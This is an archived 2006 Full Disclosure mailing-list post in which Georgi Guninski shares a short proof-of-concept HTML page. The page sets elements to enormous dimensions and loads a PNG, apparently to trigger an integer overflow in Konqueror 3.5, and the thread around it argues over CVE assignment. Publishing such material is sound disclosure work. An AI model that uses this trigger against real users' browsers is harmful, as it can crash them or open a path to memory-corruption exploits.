Full Disclosure mailing list archives
Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier
From: Georgi Guninski <guninski () guninski com>
Date: Sat, 14 Oct 2006 02:06:11 +0300
On Fri, Oct 13, 2006 at 01:11:24PM -0400, Josh Bressers wrote:
Use CVE-<F*CK> for this issue.
the redhat persons means for THIS: (the png is well formed, but the redhat person wasn't elligible to know it.) ------------------- <html><head> <!-- Copyright Georgi Guninski may not be used in vulnerability databases - like mitre/symantec --> <style> IMG, DIV { width: 16394px; height: 262160px; position: absolute; } </style> </head><body> <div> f3c </div> <img src='/png1.png'> </body> </html> ------------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Georgi Guninski (Oct 13)
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Pink Hat (Oct 13)
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Josh Bressers (Oct 13)
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Georgi Guninski (Oct 14)